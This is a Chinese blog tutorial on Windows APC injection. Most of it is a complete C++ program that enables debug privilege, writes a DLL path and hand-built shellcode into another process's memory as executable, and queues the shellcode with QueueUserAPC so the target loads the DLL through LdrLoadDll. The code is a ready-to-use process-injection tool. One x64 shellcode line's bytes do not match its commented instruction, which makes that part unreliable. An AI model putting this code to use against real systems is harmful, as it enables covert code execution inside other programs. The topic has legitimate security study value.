注入(2)--APC(Asynchronous Procedure Call)注入(異步過程調用)

APC(Asynchronous Procedure Call,異步過程調用)是在一個特定線程環境下被異步執行的函數,分爲用戶模式APC和內核模式APC。每個線程都有一個APC隊列。在用戶模式下,當線程調用SleepEx、WaitForSingleObjectEx等進入"Alterable WaitStatus"狀態(可警告的等待狀態)的時候,系統會遍歷該進程的APC隊列,然後按照先進先出的順序來執行這些APC。

在用戶模式下,微軟提供了QueueUerAPC這個API來向一個線程插入APC。

聲明如下:
WINBASEAPI
DWORD
WINAPI
QueueUserAPC(
    _In_ PAPCFUNC pfnAPC,
    _In_ HANDLE hThread,
    _In_ ULONG_PTR dwData
    );
pfnAPC:指向一個APC函數
hThread:將要插入APC的線程句柄
dwData:APC函數的參數
先右鍵項目,點擊屬性->鏈接器->系統->子系統 選擇窗口(/SUBSYSTEM:Windows)
然後將_tmain()函數改爲WinMain()函數
// LoadExe.cpp : 定義控制檯應用程序的入口點。
//

#include "stdafx.h"
#include <Windows.h>
#include <iostream>
using namespace std;

typedef struct _UNICODE_STRING
{
	USHORT				Length;
	USHORT				MaximumLength;
	PWSTR					Buffer;
} UNICODE_STRING, *PUNICODE_STRING;


typedef struct _INJECT_STRUCT {
	UINT_PTR               LdrLoadDllAddress;   //4
	UNICODE_STRING DllFullPath;   //4,4
	HANDLE                 OutHandle;
} INJECT_STRUCT, *PINJECT_STRUCT;

int GrantDebugPrivileges();
BOOL InjectByAPC(int ProcessID,int ThreadID,const char *szDllFullPath);
UINT32 MakeShellCode(UINT8* ShellCodeData, PVOID Address);


int WINAPI WinMain(HINSTANCE  hInstance,HINSTANCE  hPrevInstance,LPSTR  lpCmdLine,int nCmdShow)
{
	int ProcessID = 0;
	int ThreadID = 0;

	if (__argc < 2)
	{
		return -1;
	}
	if (!strcmp(__argv[1], "Inject"))
	{

		GrantDebugPrivileges();
		ProcessID = atoi(__argv[2]);
		ThreadID = atoi(__argv[3]);
		return InjectByAPC(ProcessID, ThreadID, __argv[4]);
	}
	return 0;
}

int GrantDebugPrivileges()
{
	HANDLE TokenHandle = NULL;
	TOKEN_PRIVILEGES PrivilegesToken;
	LUID v1;
	int iRet;

	if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &TokenHandle))
	{
		return 0;
	}

	if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &v1)) 
	{
		CloseHandle(TokenHandle);
		return 0;
	}
	PrivilegesToken.PrivilegeCount = 1;
	PrivilegesToken.Privileges[0].Luid = v1;
	PrivilegesToken.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

	iRet = AdjustTokenPrivileges(TokenHandle, FALSE, &PrivilegesToken, sizeof(PrivilegesToken), NULL, NULL);
	CloseHandle(TokenHandle);

	return iRet;
}


BOOL InjectByAPC(int ProcessID,int ThreadID,const char *szDllFullPath)
{
	HANDLE ProcessHandle = NULL;
	HANDLE ThreadHandle = NULL;
	if (ProcessID <= 0 || ThreadID < 0)
	{
		return FALSE;
	}
	printf("Success\r\n");
	ProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessID);    //打開系統所有進程
	if (ProcessHandle == NULL) 
	{
		return FALSE;
	}

	if (ThreadID > 0) 
	{
		ThreadHandle = OpenThread(THREAD_ALL_ACCESS, FALSE, ThreadID);//打開所有線程
		if (ThreadHandle == NULL) 
		{
			CloseHandle(ProcessHandle);
			return FALSE;
		}
	}

	//注入都要在目標進程空間中申請內存  寫入Dll的絕對路徑
	UINT32 DllPathLength = 0;
	DllPathLength = (UINT32)strlen(szDllFullPath);
	WCHAR* wzDllFullPath = (WCHAR*)calloc(1, (DllPathLength + 1) * sizeof(WCHAR));   //在LoadEx進程空間中
	if (wzDllFullPath == NULL) 
	{

		return FALSE;
	}
	for (int i=0;i<DllPathLength;i++)
	{
		wzDllFullPath[i] = (UINT16)szDllFullPath[i];
	}

	//單字轉換雙字

	WCHAR* wzDllFullPathData = (WCHAR*)VirtualAllocEx(ProcessHandle, NULL, (wcslen(wzDllFullPath) + 1) * sizeof(WCHAR), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
	if (wzDllFullPathData == NULL) 
	{
		free(wzDllFullPath);
		wzDllFullPath = NULL;
		return FALSE;
	}
	SIZE_T ReturnSize = 0;
	if (!WriteProcessMemory(ProcessHandle, wzDllFullPathData, wzDllFullPath, (wcslen(wzDllFullPath) + 1) * sizeof(WCHAR), &ReturnSize)) 
	{

		free(wzDllFullPath);
		wzDllFullPath = NULL;

		return FALSE;
	}
	LPVOID LdrLoadDll;
	LdrLoadDll = GetProcAddress(GetModuleHandleA("ntdll.dll"), "LdrLoadDll");   //LadrloadDll導出地址

	INJECT_STRUCT InjectStruct = {0};

	InjectStruct.LdrLoadDllAddress = (UINT_PTR)LdrLoadDll;
	InjectStruct.DllFullPath.Buffer = wzDllFullPathData;
	InjectStruct.DllFullPath.Length = InjectStruct.DllFullPath.MaximumLength = (USHORT)(wcslen(wzDllFullPath) * sizeof(WCHAR));

	PINJECT_STRUCT InjectStructData = NULL;
	//注:VirtualAllocEx()函數是在別人的內存空間中申請內存
	InjectStructData = (PINJECT_STRUCT)VirtualAllocEx(ProcessHandle, NULL, sizeof(INJECT_STRUCT), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
	if (InjectStructData == NULL)
	{
		free(wzDllFullPath);
		wzDllFullPath = NULL;

		return FALSE;
	}

	if (!WriteProcessMemory(ProcessHandle, InjectStructData, &InjectStruct, sizeof(INJECT_STRUCT), &ReturnSize))
	{
		free(wzDllFullPath);
		wzDllFullPath = NULL;

		return FALSE;
	}
	char szShellCode[64] = {0};
	UINT32  ShellCodeSize  = MakeShellCode((UINT8*)szShellCode, InjectStructData);

	CHAR* szShellCodeData = NULL;
	szShellCodeData =(CHAR*)VirtualAllocEx(ProcessHandle, NULL, ShellCodeSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	if (szShellCodeData == NULL) 
	{
		free(wzDllFullPath);
		wzDllFullPath = NULL;
		return FALSE;
	}

	if (!WriteProcessMemory(ProcessHandle, szShellCodeData, szShellCode, ShellCodeSize, &ReturnSize)) 
	{
		free(wzDllFullPath);
		wzDllFullPath = NULL;

		return FALSE;
	}

	if (ThreadHandle)
	{

		if(!QueueUserAPC((PAPCFUNC)szShellCodeData,ThreadHandle, (ULONG_PTR)InjectStructData))
		{
			free(wzDllFullPath);
			wzDllFullPath = NULL;
			return FALSE;
		}
	}

	free(wzDllFullPath);
	wzDllFullPath = NULL;
	return TRUE;
}

UINT32 MakeShellCode(UINT8* ShellCodeData, PVOID Address)
{
#ifndef _WIN64
	ShellCodeData[0] = 0xb8;        // mov eax, InjectStructData
	memcpy(&ShellCodeData[1], &Address, sizeof(Address));
	ShellCodeData[5] = 0x53;		// push ebx                     //保存ebx
	ShellCodeData[6] = 0x8d;		// lea ebx, InjectStructData+offsetof(INJECT_STRUCT.OutHandle)
	ShellCodeData[7] = 0x58;
	ShellCodeData[8] = (UINT8)offsetof(INJECT_STRUCT, OutHandle);
	ShellCodeData[9] = 0x53;		// push ebx ; ModuleHandle arg
	ShellCodeData[10] = 0x8d;		// lea ebx, InjectStructData+offsetof(INJECT_STRUCT.DllFullPath)
	ShellCodeData[11] = 0x58;
	ShellCodeData[12] = (UINT8)offsetof(INJECT_STRUCT, DllFullPath);
	ShellCodeData[13] = 0x53;		// push ebx ; ModuleFileName arg
	ShellCodeData[14] = 0x6a;		// push 0 (flags arg)
	ShellCodeData[15] = 0x00;
	ShellCodeData[16] = 0x6a;		// push 0 (PathToFile arg)
	ShellCodeData[17] = 0x00;
	ShellCodeData[18] = 0x8b;		// mov ebx, InjectStructData+offsetof(INJECT_STRUCT.LdrLoadDllAddress)
	ShellCodeData[19] = 0x58;
	ShellCodeData[20] = (UCHAR)offsetof(INJECT_STRUCT, LdrLoadDllAddress);
	ShellCodeData[21] = 0xff;		// call ebx
	ShellCodeData[22] = 0xd3;
	ShellCodeData[23] = 0x5b;		// pop ebx
	ShellCodeData[24] = 0xc2;		// retn 0x4
	ShellCodeData[25] = 0x04;
	ShellCodeData[26] = 0x00;
	return 27;
#else
	ShellCodeData[0] = 0x53;		// push rbx
	ShellCodeData[1] = 0x48;		// sub rsp, 0x20
	ShellCodeData[2] = 0x83;
	ShellCodeData[3] = 0xec;
	ShellCodeData[4] = 0x20;
	ShellCodeData[5] = 0x48;		// mov rax, rcx (InjectStructData)
	ShellCodeData[6] = 0x8b;
	ShellCodeData[7] = 0xc1;
	ShellCodeData[8] = 0x48;		// lea rbx, Address+offsetof(INJECT_STRUCT.OutHandle)
	ShellCodeData[9] = 0x8d;
	ShellCodeData[10] = 0x58;
	ShellCodeData[11] = (UINT8)offsetof(INJECT_STRUCT, OutHandle);
	ShellCodeData[12] = 0x49;		// mov r9, rbx ; ModuleHandle arg
	ShellCodeData[13] = 0x89;
	ShellCodeData[14] = 0xd9;
	ShellCodeData[15] = 0x48;		// lea rbx, injstructaddr+offsetof(INJECT_STRUCT.DllFullPath)
	ShellCodeData[16] = 0x8d;
	ShellCodeData[17] = 0x58;
	ShellCodeData[18] = (UINT8)offsetof(INJECT_STRUCT, DllFullPath);
	ShellCodeData[19] = 0x49;		// mov r8, rbx ; ModuleFileName arg
	ShellCodeData[20] = 0x89;
	ShellCodeData[21] = 0xd8;
	ShellCodeData[22] = 0x48;		// xor rdx, rdx ; Flags arg    
	ShellCodeData[23] = 0x31;
	ShellCodeData[24] = 0xd2;
	ShellCodeData[25] = 0x48;					// xor rcx, rcx ; PathToFile arg
	ShellCodeData[26] = 0x31;
	ShellCodeData[27] = 0xd1;
	ShellCodeData[28] = 0x48;					// mov rbx, Address+offsetof(INJECT_STRUCT.LdrLoadDllAddress)
	ShellCodeData[29] = 0x8b; 
	ShellCodeData[30] = 0x58;
	ShellCodeData[31] = (UINT8)offsetof(INJECT_STRUCT, LdrLoadDllAddress);
	ShellCodeData[32] = 0xff;					// call rbx
	ShellCodeData[33] = 0xd3;
	ShellCodeData[34] = 0x48;					// add rsp, 0x20
	ShellCodeData[35] = 0x83;
	ShellCodeData[36] = 0xc4;
	ShellCodeData[37] = 0x20; 
	ShellCodeData[38] = 0x5b;					// pop rbx
	ShellCodeData[39] = 0xc3;					// ret
	return 40;
#endif
}

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章